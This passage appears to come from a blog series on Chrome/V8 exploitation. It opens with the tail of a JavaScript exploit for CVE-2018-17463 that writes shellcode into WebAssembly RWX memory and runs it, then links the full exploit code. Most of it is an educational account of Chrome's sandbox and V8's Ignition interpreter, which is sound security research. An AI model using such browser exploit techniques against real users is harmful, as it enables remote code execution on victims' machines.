class="mh">0xd6</span><span class="p">]);</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Writing Shellcode to Jump Table Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// Write Shellcode to Jump Table Start Address</span>
<span class="nx">memory</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">wasmRWXAddr</span><span class="p">,</span> <span class="nx">shellcode</span><span class="p">);</span>
<span class="c1">// Execute our Shellcode</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Popping Calc...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">func</span><span class="p">();</span>
</code></pre></div></div>
<p>It’s time to execute our exploit! If everything goes as planed, once the WebAssembly function get’s called, it should execute our shellcode, and the calculator should pop up!</p>
<p>Alright, the moment of truth. Let’s see this bad boy in action!</p>
<video width="800" height="400" controls="controls" muted="muted">
<source src="/images/CVE-2018-17463-POC.mp4" type="video/mp4" />
</video>
<p>And there we have it! Our exploit script works and we’re able to successfully execute our shellcode!</p>
<h1 id="closing">Closing</h1>
<p>Well there we have it! After spending three months learning about Chrome and V8 internals, we were able to successfully analyze and exploit CVE-2018-17463! This was no small feat, as Chrome exploitation is a complex and challenging task.</p>
<p>Throughout the series, we have built a strong foundation of knowledge that has prepared us to tackle the more complex task of Chrome exploitation. At the end, we were able to successfully analyze and exploit a real-world vulnerability in Chrome, demonstrating the practical application of the concepts we have learned.</p>
<p>Overall, this series has written to provide a detailed and in-depth look at the world of Chrome exploitation, and I hope it has been both informative and useful for you, the reader. Whether you are a seasoned security researcher or just starting out, I hope you have gained valuable insights and knowledge from this series.</p>
<p>I want to sincerely thank you for for sticking around to the end and for your interest in this topic!</p>
<p>With that being said, for those interested, the final exploit code for this project has been added to the <a href="https://github.com/jhalon/CVE-2018-17463">CVE-2018-17463</a> repository on my Github.</p>
<p>Thank you for reading, cheers!</p>
<h1 id="kudos">Kudos</h1>
<p>I would like to sincerely thank <a href="https://twitter.com/v3ded">V3ded</a> for taking the time to do a thorough proofread of this post for accuracy and readability! Thank you!</p>
<h1 id="references">References</h1>
<ul>
<li><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=888923">Issue 888923: Security: Chrome RCE</a></li>
<li><a href="http://phrack.org/issues/70/9.html#article">Phrack: Exploiting Logic Bugs in JavaScript JIT Engines</a></li>
<li><a href="http://www.phrack.org/issues/70/3.html">Phrack: Attacking JavaScript Engines</a></li>
<li><a href="https://ssd-disclosure.com/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce/">SSD Advisory – Chrome Type Confusion in JSCreateObject Operation to RCE</a></li>
<li><a href="https://www.youtube.com/@BlackHatOfficialYT">Samuel Gross: Attacking Client-Side JIT Compilers</a></li>
<li><a href="https://www.exploit-db.com/exploits/48184">Google Chrome 67, 68 and 69 - Object.create Type Confusion (Metasploit)</a></li>
<li><a href="https://github.com/kdmarti2/CVE-2018-17463">GitHub: kdmarti2 / CVE-2018-17463</a></li>
<li><a href="https://github.com/m1ghtym0/browser-pwn#chromium-pwn">GitHub: Browser-Pwn Resources</a></li>
<li><a href="https://github.com/Escapingbug/awesome-browser-exploit">GitHub: Awesome Browser Exploit</a></li>
<li><a href="https://liveoverflow.com/getting-into-browser-exploitation-new-series-introduction-browser-0x00/">LiveOverflow - Getting Into Browser Exploitation</a></li>
<li><a href="https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html">Project Zero: JITSploitation II: Getting Read/Write</a></li>
<li><a href="https://y4y.space/2022/08/05/browser-exploitation-a-case-study-of-cve-2020-6507/">Browser Exploitation: A Case Study Of CVE-2020-6507</a></li>
<li><a href="https://zon8.re/posts/javascript-engine-fuzzing-and-exploitation-reading-list/">Zon8: JavaScript Engine Fuzzing and Exploitation Reading List</a></li>
<li><a href="https://liveoverflow.com/revisiting-javascriptcore-internals-boxed-vs-unboxed-browser-0x06/">Revisiting JavaScriptCore Internals: boxed vs. unboxed</a></li>
<li><a href="https://www.madstacks.dev/posts/V8-Exploitation-Series-Part-6/">V8 Exploitation Series - Part 6</a></li>
<li><a href="https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/">Exploiting the Math.expm1 typing bug in V8</a></li>
</ul>Jack Halonjacek.halon@gmail.comWelcome to the third and final installment of the “Chrome Browser Exploitation” series. The main objective of this series has been to provide an introduction to browser internals and delve into the topic of Chrome browser exploitation on Windows in greater depth.Chrome Browser Exploitation, Part 2: Introduction to Ignition, Sparkplug and JIT Compilation via TurboFan2022-11-16T00:00:00+00:002022-11-16T00:00:00+00:00https://jhalon.github.io/chrome-browser-exploitation-2<p>In my previous post “<a href="https://jhalon.github.io/chrome-browser-exploitation-1/">Chrome Browser Exploitation, Part 1: Introduction to V8 and JavaScript Internals</a>”, we took our first deep dive into the world of browser exploitation by covering a few complex topics that were necessary for fundamental knowledge. We mainly covered topics on how JavaScript and V8 worked under the hood by exploring what objects, maps and shapes were, how these objects were structured in memory, and we also covered some basic memory optimizations such as pointer tagging and pointer compression. We also touched on the compiler pipeline, bytecode interpreter, and code optimizations.</p>
<p>Now, if you haven’t read my previous post yet - then I <strong>highly</strong> recommend that you do so. Otherwise, you might be lost and totally unfamiliar with some of the topics presented within this post, since we are pretty much building off of the knowledge presented in Part 1 and further expanding on it.</p>
<p>In today’s blog post, we’ll go back to the compiler pipeline and will further expand on some of the concepts that we talked about, such as V8’s bytecode, code compilation, and code optimization. Overall, in this post we will be taking a deep dive into understanding what happens under the hood in Ignition, Sparkplug, and TurboFan as they are critical for our understanding in how certain “features” can lead to exploitable bugs.</p>
<p>The following topics will be discussed:</p>
<ul>
<li>Chrome Security Model
<ul>
<li>Multi-Process Sandbox Architecture</li>
<li>V8’s Isolate and Context</li>
</ul>
</li>
<li>Ignition Interpreter
<ul>
<li>Understanding V8’s Bytecode</li>
<li>Understanding the Register-Based Machine</li>
</ul>
</li>
<li>Sparkplug
<ul>
<li>1:1 Mapping</li>
</ul>
</li>
<li>TurboFan
<ul>
<li>Just-In-Time Compilation (JIT)</li>
<li>Speculative Optimization and Type Guards</li>
<li>Feedback Lattice</li>
<li>“Sea of Nodes” Intermediate Representation (IR)</li>
</ul>
</li>
<li>Common Optimizations
<ul>
<li>Typer</li>
<li>Range Analysis</li>
<li>Bounds Checking Elimination (BCE)</li>
<li>Redundancy Elimination</li>
<li>Other Optimizations
<ul>
<li>Control Optimization</li>
<li>Alias Analysis & Global Value Numbering</li>
<li>Dead Code Elimination (DCE)</li>
</ul>
</li>
</ul>
</li>
<li>Common JIT Compiler Vulnerabilities</li>
</ul>
<p>Alright, with that long and scary list of complex topics out of the way, let’s take a deep breath and dive right in!</p>
<blockquote>
<p><strong>Note</strong>: Most, if not all of the highlighted code paths are clickable links. Use these links to be taken to the relevant part of the Chromium source code so that you can examine the code more closely and follow along with the post.</p>
<p>Also, take the time to read through the code comments. The Chromium source code, while complex, has some pretty good comments that can help you in understanding what part of the code is and what it does.</p>
</blockquote>
<h1 id="chrome-security-model">Chrome Security Model</h1>
<p>Before we dive into understanding the complexities of the compiler pipeline, how it does optimizations, and where bugs can appear, we first need to take a step back and look at the bigger picture. While the compiler pipeline plays a big role in JavaScript execution, it’s only one piece of the puzzle within the whole architecture of browsers.</p>
<p>As we’ve seen, V8 can run as a standalone application, but when it comes to the browser as a whole, V8 is actually embedded into Chrome and then utilized via <a href="https://en.wikipedia.org/wiki/Language_binding">bindings</a> by another engine. Because of this, there are nuances and certain implications that we need to be aware of on how JavaScript code within an application is processed because that information is critical to our understanding of security issues within a browser.</p>
<p>For us to see this “bigger picture”, and to put together all the pieces of the puzzle, we need to start off by understanding the Chrome Security Model. This blog post series is a journey through browser internals and exploitation after all. So, to better understand why certain bugs are more trivial than others, and why exploitation of just one bug might not lead to direct remote code execution, we need to understand the architecture of Chromium.</p>
<p>As we know, JavaScript engines are an integral part to the execution of JavaScript code on systems. While they play a big role in making browsers fast and efficient, they also can open up a browser to crashes, application hang-ups, and even security risks. But JavaScript engines aren’t the only part of a browser that can have issues or vulnerabilities. Many other components such as the API’s or HTML and CSS render engines being used can also have stability issues and vulnerabilities that could potentially be exploited - albeit intentionally or not.</p>
<p>Now, it’s almost rather impossible to build a JavaScript or rendering engine that will never crash. And it’s also nearly impossible to build these types of engines to be safe and secure from bugs and vulnerabilities - especially because most of these components are programmed in the statically-typed language of C++ which needs to handle the dynamic nature of web applications.</p>
<p>So how does Chrome handle such an “impossible” task of trying to keep the browser running efficiently while also trying to keep the browser, system, and its users secure? In two ways, by using a multi-process architecture and sandboxing.</p>
<h2 id="multi-process-sandbox-architecture">Multi-Process Sandbox Architecture</h2>
<p>Chromium’s <a href="https://www.chromium.org/developers/design-documents/multi-process-architecture/">multi-process architecture</a> is just that, an architecture that uses multiple processes to protect the browser from instability issues and bugs that can stem from the JavaScript engine, render engine, or other components. Chromium also restricts access between each of these processes by only allowing certain processes to talk to one another. This type of architecture can be viewed as the incorporation of memory protection and access controls within an application.</p>
<p>In general, browsers have one main process that runs the UI and manages all the other processes - this is known as the “<strong>browser process</strong>” or “browser” for short. Very unique, I know. The processes that handle the web content are known as the “<strong>renderer processes</strong>” or “renderers”. These render processes utilize something called <a href="https://www.chromium.org/blink/">Blink</a> which is the open-source rendering engine used by Chrome. Blink implements many other libraries that help it run, such as <a href="https://skia.org/">Skia</a>, which is an open-source 2D graphics library, and of course V8 for JavaScript.</p>
<p>Now, here are where things get a little bit complicated. In Chrome, each new window or tab opens up in a <strong>new process</strong> - which usually will be a new render process. This new render process has a global <code class="language-plaintext highlighter-rouge">RenderProcess</code> object that manages communication with the parent browser process and maintains global state of the web page or application within that window or tab. In turn, the main browser process will maintain a corresponding <a href="https://source.chromium.org/chromium/chromium/+/trunk:content/public/browser/render_process_host.h"><code class="language-plaintext highlighter-rouge">RenderProcessHost</code></a> object for each renderer, which manages browser state and communication for the renderer.</p>
<p>To communicate between each of these processes, Chromium uses either a <a href="https://www.chromium.org/developers/design-documents/inter-process-communication/">legacy IPC system</a> or <a href="https://chromium.googlesource.com/chromium/src/+/HEAD/mojo/README.md">Mojo</a>. I’m not going to get into too much detail into how these work, because honestly the architecture and communication scheme of Chrome in and of itself can be a separate blog post. I will leave it up to the reader to follow the links and do your own research.</p>
<p>Overall, talk is cheap, and computational power is expensive. To help with better visualizing what we just explained, the image below from the Chromium development team will provide us with a high-level overview of what that multi-process architecture looks like.</p>
<p align="center"><a href="https://www.chromium.org/developers/design-documents/multi-process-architecture/arch.png"><img src="https://www.chromium.org/developers/design-documents/multi-process-architecture/arch.png" /></a></p>
<p>In addition to each of these renderers being in its own process, Chrome also takes the opportunity to restrict the processes access to system resources via <a href="https://chromium.googlesource.com/chromium/src/+/HEAD/docs/design/sandbox.md">sandboxing</a>. By sandboxing each process, Chrome can ensure that a renderers only access to network resources will be via the network service dispatcher running within the main process. Additionally, it can also restrict the processes access to the filesystem as well as access to the user’s display, cookies, and input.</p>
<p>In general, this limits what an attacker can do if they obtain remote code execution within a renderer process. Essentially, they won’t be able to make persistent changes to the computer or access information such as user input and cookies in other windows and tabs without exploiting or chaining another bug to break out of that sandbox.</p>
<p>I won’t go into any more detail from here as this will take away from the current topic of the blog post. But I <strong>highly suggest</strong> that you read the “<a href="https://chromium.googlesource.com/chromium/src/+/HEAD/docs/design/sandbox.md">Chromium Windows Sandbox Architecture</a>” documentation in depth to not only understand the design principles, but to better understand the broker and target process communication scheme.</p>
<p>So how does this look like in practice? Well we can see a practical example of this by starting up Chrome, opening two tabs and launching <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">Process Monitor</a>. Initially we should see that Chrome has one parent or “browser” process and a few child processes, like so.</p>
<p align="center"><a href="/images/Chrome-Process.png"><img src="/images/Chrome-Process.png" /></a></p>
<p>Now if we were to look into the main parent process, and compare it to a child process, we will notice that the other processes are running with different command line parameters. In the case of this example, we see that the child process (on the right) is that of the renderer type, and matches its parent browser process (on the left). Cool, right?</p>
<p align="center"><a href="/images/Chrome-Process-Compare.png"><img src="/images/Chrome-Process-Compare.png" /></a></p>
<p>Alright, after covering all of this, I know that you might be asking me what does all of this have to do with V8 and JavaScript? Well, if you were paying attention, then you would have noticed a key point when I brought up Chromes renderer engine, Blink. And that’s the fact that it implements V8.</p>
<p>If you took the time to read up on some of the Blink documentation as a good student should, then you would have learned a little about Blink. Within the documentation it states that Blink runs in each renderer process and it has one main thread which handles JavaScript, DOM, CSS, style and layout calculations. Additionally, Blink can also create multiple “worker” threads to run additional scripts, extensions, etc.</p>
<p>In general, each Blink thread runs its own instance of V8. Why? Well as you know, within a separate browser window or tab there can be a lot of JavaScript code running, not just for the page, but in different iframes for stuff like ads, buttons, etc. At the end of the day each of those scripts and iframes have separate JavaScript contexts and there has to be a way of preventing one script from manipulating objects in another.</p>
<p>To help “isolate” one scripts context from another, V8 implements something known as an Isolate and Context, which we will now talk about.</p>
<h2 id="v8s-isolate-and-context">V8’s Isolate and Context</h2>
<p>In V8, an <strong>Isolate</strong> is simply a concept of an instance or “virtual machine” which represents one JavaScript execution environment; including a heap manager, a garbage collector, etc. In Blink, isolates and threads have a <em>1:1</em> relationship, where one isolate is associated with the main thread and one isolate is associated with one worker thread.</p>
<p>Now, the <strong>Context</strong> corresponds to a global root object which holds the state of the VM and is used to compile and execute scripts in a single instance of V8. Roughly speaking, one window object corresponds to one context, and since each frame has a window object, there are potentially multiple contexts in a renderer process. In relation to the isolate, the isolate and contexts have a <em>1:N</em> relationship over the lifetime of the isolate - where that specific isolate or instance will interpret and compile multiple contexts.</p>
<p>This means that each time JavaScript need to be executed, we need to validate that we are in the correct context via <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/include/v8-isolate.h;l=866?q=GetCurrentContext()&ss=chromium%2Fchromium%2Fsrc">GetCurrentContext()</a> or we’ll end up either leaking JavaScript objects or overwriting them, which potentially can cause a security issue.</p>
<p>In Chrome, the runtime object <code class="language-plaintext highlighter-rouge">v8::Isolate</code> is implemented in <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/include/v8-isolate.h;l=203">v8/include/v8-isolate.h</a> and the <code class="language-plaintext highlighter-rouge">v8::Context</code> object is implement in <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/include/v8-context.h;l=45">v8/include/v8-context.h</a>. Using what we know, from a high-level, we can visualize the runtime and context inherence in Chrome to look like so:</p>
<p align="center"><a href="/images/V8Isolate.png"><img src="/images/V8Isolate.png" /></a></p>
<p>If you would like to learn more about how these Isolates and Context work in depth, then I suggest reading “<a href="https://chromium.googlesource.com/chromium/src/+/master/third_party/blink/renderer/bindings/core/v8/V8BindingDesign.md">Design of V8 Bindings</a>” and “<a href="https://v8.dev/docs/embed">Getting Started with Embedding V8</a>”.</p>
<h1 id="ignition-interpreter">Ignition Interpreter</h1>
<p>Now that we have a general overview of Chromium’s architecture, and understand that all JavaScript code isn’t executed in the same V8 engine instance, we can finally go back into the compiler pipeline and continue our deep dive.</p>
<p>We’ll start off by understanding V8’s interpreter, Ignition, in more depth.</p>
<p>As a recap from Part 1, let’s take a look back at our high-level overview of the V8 compilation pipeline just so we know where we are within this pipeline.</p>
<p align="center"><a href="/images/compiler-pipeline-2.png"><img src="/images/compiler-pipeline-2.png" /></a></p>
<p>We already covered Tokens and Abstract Syntax Trees (AST) in Part 1, and we briefly explained how an AST is parsed and then translated into bytecode within the Interpreter. What I want to do now is cover V8’s bytecode, since the bytecode produced by the interpreter is a critical building block that makes up any JavaScript functionality. Additionally, when Ignition compiles bytecode, it also collects profiling and feedback data each time a JavaScript function is run. This feedback data is then used by TurboFan to generate JIT optimized machine code.</p>
<p>But, before we can begin to understand how the bytecode is structured, we need to first understand how Ignition implements it’s “register machine”. Reason being is that each bytecode specifies its inputs and outputs as register operands, so we sort of need to know where these inputs and outputs will go on the stack. This will also help us with further visualizing and understanding the stack frames that are produced in V8.</p>
<h2 id="understanding-the-register-based-machine">Understanding the Register-Based Machine</h2>
<p>As we know, the Ignition interpreter is a register-based interpreter with an accumulator register. These “registers” aren’t actually traditional machine registers as one would think. Instead, they are specific <strong>slots</strong> in a <a href="https://en.wikipedia.org/wiki/Register_file">register file</a> which is allocated as part of a function’s stack frame - in essence they are “virtual” registers. As we’ll see later, bytecodes can specify these input and output registers on which their arguments will operate on.</p>
<p>Ignition consists of a set of <strong>bytecode handlers</strong> which are written in a high-level, machine agnostic assembly code. These handlers are implemented by the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/code-stub-assembler.cc"><code class="language-plaintext highlighter-rouge">CodeStubAssembler</code></a> class and compiled by using TurboFan’s backend when the browser is compiled. Overall, each of these handlers “handles” a specific bytecode and then dispatches to the next bytecode’s respective handler.</p>
<p>An example of the <code class="language-plaintext highlighter-rouge">LdaZero</code> or “Load Zero to Accumulator” bytecode handler from <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/interpreter/interpreter-generator.cc"><code class="language-plaintext highlighter-rouge">v8/src/interpreter/interpreter-generator.cc</code></a> can be seen below.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// LdaZero</span>
<span class="c1">// Load literal '0' into the accumulator.</span>
<span class="n">IGNITION_HANDLER</span><span class="p">(</span><span class="n">LdaZero</span><span class="p">,</span> <span class="n">InterpreterAssembler</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">TNode</span><span class="o"><</span><span class="n">Number</span><span class="o">></span> <span class="n">zero_value</span> <span class="o">=</span> <span class="n">NumberConstant</span><span class="p">(</span><span class="mf">0.0</span><span class="p">);</span>
<span class="n">SetAccumulator</span><span class="p">(</span><span class="n">zero_value</span><span class="p">);</span>
<span class="n">Dispatch</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>When V8 creates a new isolate, it will load the handlers from a snapshot file that was created during build time. The isolate will also contain a global interpreter dispatch table which holds a code object pointer to each bytecode handler, as indexed by the bytecode value. Generally, this dispatch table is simply just an <a href="https://en.cppreference.com/w/cpp/language/enum">enum</a>.</p>
<p>In order for the bytecode to be run by Ignition, the JavaScript function is first translated to bytecode from its AST by a <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/interpreter/bytecode-generator.h;l=32"><code class="language-plaintext highlighter-rouge">BytecodeGenerator</code></a>. This generator walks the AST and emits the appropriate bytecode per each AST node by calling the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/interpreter/bytecode-generator.cc;l=1366;drc=8f243f4c58be1a3ffdfd378978d8f26f5d7ca997"><code class="language-plaintext highlighter-rouge">GenerateBytecode</code></a> function.</p>
<p>This bytecode is then associated with the function (which is a <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-function.h;l=86">JSFunction</a> object) in a property field known as the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/shared-function-info.h;l=186?q=SharedFunctionInfo&sq=&ss=chromium%2Fchromium%2Fsrc"><code class="language-plaintext highlighter-rouge">SharedFunctionInfo</code></a> object. Afterwards, the JavaScript functions <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-function.h;l=131"><code class="language-plaintext highlighter-rouge">code_entry_point</code></a> is set to the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/interpreter/interpreter.cc;l=344?q=InterpreterEntryTrampoline&ss=chromium%2Fchromium%2Fsrc"><code class="language-plaintext highlighter-rouge">InterpreterEntryTrampoline</code></a> built-in stub.</p>
<p>The <code class="language-plaintext highlighter-rouge">InterpreterEntryTrampoline</code> stub is entered when a JavaScript function is called, and is responsible for setting up the appropriate interpreter stack frame while also dispatching to the interpreter’s bytecode handler for the first bytecode of the function. This then starts the execution or “interpretation” of the function by Ignition which is handled within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/x64/builtins-x64.cc"><code class="language-plaintext highlighter-rouge">v8/src/builtins/x64/builtins-x64.cc</code></a> source file.</p>
<p>Specifically, on Lines 1255 - 1387 within <code class="language-plaintext highlighter-rouge">builtins-x64.cc</code> the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/x64/builtins-x64.cc;l=1255"><code class="language-plaintext highlighter-rouge">Builtins::Generate_InterpreterPushArgsThenCallImpl</code></a> and <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/x64/builtins-x64.cc;l=1320"><code class="language-plaintext highlighter-rouge">Builtins::Generate_InterpreterPushArgsThenConstructImpl</code></a> functions are responsible for further building out the interpreter stack frame by pushing the arguments and function state to the stack.</p>
<p>I won’t get too much more into the bytecode generator, but if you want to expand your knowledge, then I suggest reading the “<a href="https://docs.google.com/document/d/11T2CRex9hXxoJwbYqVQ32yIPMh0uouUZLdyrtmMoL44/edit#heading=h.l7nrslsveniq">Ignition Design Documentation: Bytecode Generation</a>” section to get a better understanding of how it works under the hood. What I want to focus on in this section is the register allocation and stack frame creation for a function.</p>
<p>So how does this stack frame get generated?</p>
<p>Well, during bytecode generation, the <code class="language-plaintext highlighter-rouge">BytecodeGenerator</code> will also allocate registers in a function’s register file for local variables, context object pointers, and temporary values that are required for expression evaluation.</p>
<p>The <code class="language-plaintext highlighter-rouge">InterpreterEntryTrampoline</code> stub handles the initial building of the stack frame, and then allocates space in the stack frame for the register file. This stub will also write <code class="language-plaintext highlighter-rouge">undefined</code> to all the registers in this register file so that the Garbage Collector (GC) doesn’t see any invalid (i.e., non-tagged) pointers when it walks the stack.</p>
<p>Bytecode will operate on these registers by specifying it in its operands, and Ignition will then load or store data from the specific stack slot that is associated with the register. Since register indexes map directly to the function stack frame slots, Ignition can directly access other slots on the stack, such as the context and the arguments that were passed in with the function.</p>
<p>An example of how a stack frame for a function looks like (as provided by the Chromium team), can be seen below. Take note of the “Interpreter Stack Frame”. This is the stack frame that is built by the <code class="language-plaintext highlighter-rouge">InterpreterEntryTrampoline</code>.</p>
<p align="center"><a href="/images/Ignition-StackFrame.png"><img src="/images/Ignition-StackFrame.png" /></a></p>
<p>As you can see, we have the functions arguments in red, and it’s local variables and temporary variables for expression evaluation in green.</p>
<p>The light green portion contains the Isolates current context object, the caller pointer counter, and a pointer to the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-function.h;l=86"><code class="language-plaintext highlighter-rouge">JSFunction</code></a> object. This pointer to <code class="language-plaintext highlighter-rouge">JSFunction</code> is also knowns as the <strong>closure</strong> which links to the functions context, <code class="language-plaintext highlighter-rouge">SharedFunctionInfo</code> object, as well as to other accessors like the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/feedback-vector.h;l=197"><code class="language-plaintext highlighter-rouge">FeedbackVector</code></a>. An example of how this <code class="language-plaintext highlighter-rouge">JSFunction</code> looks like in memory can be seen below.</p>
<p align="center"><a href="/images/ClosureExample.png"><img src="/images/ClosureExample.png" /></a></p>
<p>You might also notice that there is no accumulator register in the stack frame. And the reason for that is because the accumulator register will change constantly during function calls, in that case it’s kept within the Interpreter as a state register. This state register is pointed to by the <strong>Frame Pointer</strong> (FP), which also holds the stack pointer and frame counter.</p>
<p align="center"><a href="/images/IgnitionFP.png"><img src="/images/IgnitionFP.png" /></a></p>
<p>Going back to the first stack frame example, you will also notice that there is a <strong>Bytecode Array</strong> pointer. This <code class="language-plaintext highlighter-rouge">BytecodeArray</code> represents a sequence of interpreter bytecodes for that specific function within the stack frame. Initially each bytecode is an <code class="language-plaintext highlighter-rouge">enum</code> where the index of the bytecode stores the corresponding handler - as explained previously.</p>
<p>An example of this <code class="language-plaintext highlighter-rouge">BytecodeArray</code> can be seen in <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/code.h;l=1227?q=BytecodeArray&ss=chromium%2Fchromium%2Fsrc"><code class="language-plaintext highlighter-rouge">v8/src/objects/code.h</code></a> and a snippet of that code is provided below.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// BytecodeArray represents a sequence of interpreter bytecodes.</span>
<span class="k">class</span> <span class="nc">BytecodeArray</span>
<span class="o">:</span> <span class="k">public</span> <span class="n">TorqueGeneratedBytecodeArray</span><span class="o"><</span><span class="n">BytecodeArray</span><span class="p">,</span> <span class="n">FixedArrayBase</span><span class="o">></span> <span class="p">{</span>
<span class="nl">public:</span>
<span class="k">static</span> <span class="k">constexpr</span> <span class="kt">int</span> <span class="n">SizeFor</span><span class="p">(</span><span class="kt">int</span> <span class="n">length</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">OBJECT_POINTER_ALIGN</span><span class="p">(</span><span class="n">kHeaderSize</span> <span class="o">+</span> <span class="n">length</span><span class="p">);</span>
<span class="p">}</span>
<span class="kr">inline</span> <span class="n">byte</span> <span class="n">get</span><span class="p">(</span><span class="kt">int</span> <span class="n">index</span><span class="p">)</span> <span class="k">const</span><span class="p">;</span>
<span class="kr">inline</span> <span class="kt">void</span> <span class="n">set</span><span class="p">(</span><span class="kt">int</span> <span class="n">index</span><span class="p">,</span> <span class="n">byte</span> <span class="n">value</span><span class="p">);</span>
<span class="kr">inline</span> <span class="n">Address</span> <span class="n">GetFirstBytecodeAddress</span><span class="p">();</span>
<span class="kr">inline</span> <span class="kt">int32_t</span> <span class="n">frame_size</span><span class="p">()</span> <span class="k">const</span><span class="p">;</span>
<span class="kr">inline</span> <span class="kt">void</span> <span class="n">set_frame_size</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">frame_size</span><span class="p">);</span>
</code></pre></div></div>
<p>As you can see, the <code class="language-plaintext highlighter-rouge">GetFirstBytecodeAddress()</code> function is responsible for getting the first bytecode address in the array. So how does it find that address?</p>
<p>Well let’s take a quick look at the bytecode generated for <code class="language-plaintext highlighter-rouge">var num = 42</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> var num = 42;
[generated bytecode for function: (0x03650025a599 <SharedFunctionInfo>)]
Bytecode length: 18
Parameter count 1
Register count 3
Frame size 24
Bytecode age: 0
000003650025A61E @ 0 : 13 00 LdaConstant [0]
000003650025A620 @ 2 : c4 Star1
000003650025A621 @ 3 : 19 fe f8 Mov <closure>, r2
000003650025A624 @ 6 : 66 5f 01 f9 02 CallRuntime [DeclareGlobals], r1-r2
000003650025A629 @ 11 : 0d 2a LdaSmi [42]
000003650025A62B @ 13 : 23 01 00 StaGlobal [1], [0]
000003650025A62E @ 16 : 0e LdaUndefined
000003650025A62F @ 17 : aa Return
</code></pre></div></div>
<p>Don’t worry about what each of these bytecodes mean, we’ll explain that in a little. Take a look at the 1st line in the bytecode array, it stores <code class="language-plaintext highlighter-rouge">LdaConstant</code>. To the left of it we see <code class="language-plaintext highlighter-rouge">13 00</code>. The hex number <code class="language-plaintext highlighter-rouge">0x13</code> is the bytecode enumerator, which represents where the handler for that bytecode will be.</p>
<p>Once that’s received, the <code class="language-plaintext highlighter-rouge">SetBytecodeHandler()</code> will be called with the bytecode, operands, and it’s handlers enum. This function is within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/interpreter/interpreter.cc;l=120;bpv=0;bpt=1?q=SetBytecodeHandler&ss=chromium%2Fchromium%2Fsrc"><code class="language-plaintext highlighter-rouge">v8/src/interpreter/interpreter.cc</code></a> file; an example of that function is shown below.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">Interpreter</span><span class="o">::</span><span class="n">SetBytecodeHandler</span><span class="p">(</span><span class="n">Bytecode</span> <span class="n">bytecode</span><span class="p">,</span>
<span class="n">OperandScale</span> <span class="n">operand_scale</span><span class="p">,</span>
<span class="n">CodeT</span> <span class="n">handler</span><span class="p">)</span> <span class="p">{</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">handler</span><span class="p">.</span><span class="n">is_off_heap_trampoline</span><span class="p">());</span>
<span class="n">DCHECK</span><span class="p">(</span><span class="n">handler</span><span class="p">.</span><span class="n">kind</span><span class="p">()</span> <span class="o">==</span> <span class="n">CodeKind</span><span class="o">::</span><span class="n">BYTECODE_HANDLER</span><span class="p">);</span>
<span class="kt">size_t</span> <span class="n">index</span> <span class="o">=</span> <span class="n">GetDispatchTableIndex</span><span class="p">(</span><span class="n">bytecode</span><span class="p">,</span> <span class="n">operand_scale</span><span class="p">);</span>
<span class="n">dispatch_table_</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="n">handler</span><span class="p">.</span><span class="n">InstructionStart</span><span class="p">();</span>
<span class="p">}</span>
<span class="kt">size_t</span> <span class="n">Interpreter</span><span class="o">::</span><span class="n">GetDispatchTableIndex</span><span class="p">(</span><span class="n">Bytecode</span> <span class="n">bytecode</span><span class="p">,</span>
<span class="n">OperandScale</span> <span class="n">operand_scale</span><span class="p">)</span> <span class="p">{</span>
<span class="k">static</span> <span class="k">const</span> <span class="kt">size_t</span> <span class="n">kEntriesPerOperandScale</span> <span class="o">=</span> <span class="mi">1u</span> <span class="o"><<</span> <span class="n">kBitsPerByte</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">index</span> <span class="o">=</span> <span class="k">static_cast</span><span class="o"><</span><span class="kt">size_t</span><span class="o">></span><span class="p">(</span><span class="n">bytecode</span><span class="p">);</span>
<span class="k">return</span> <span class="n">index</span> <span class="o">+</span> <span class="n">BytecodeOperands</span><span class="o">::</span><span class="n">OperandScaleAsIndex</span><span class="p">(</span><span class="n">operand_scale</span><span class="p">)</span> <span class="o">*</span>
<span class="n">kEntriesPerOperandScale</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
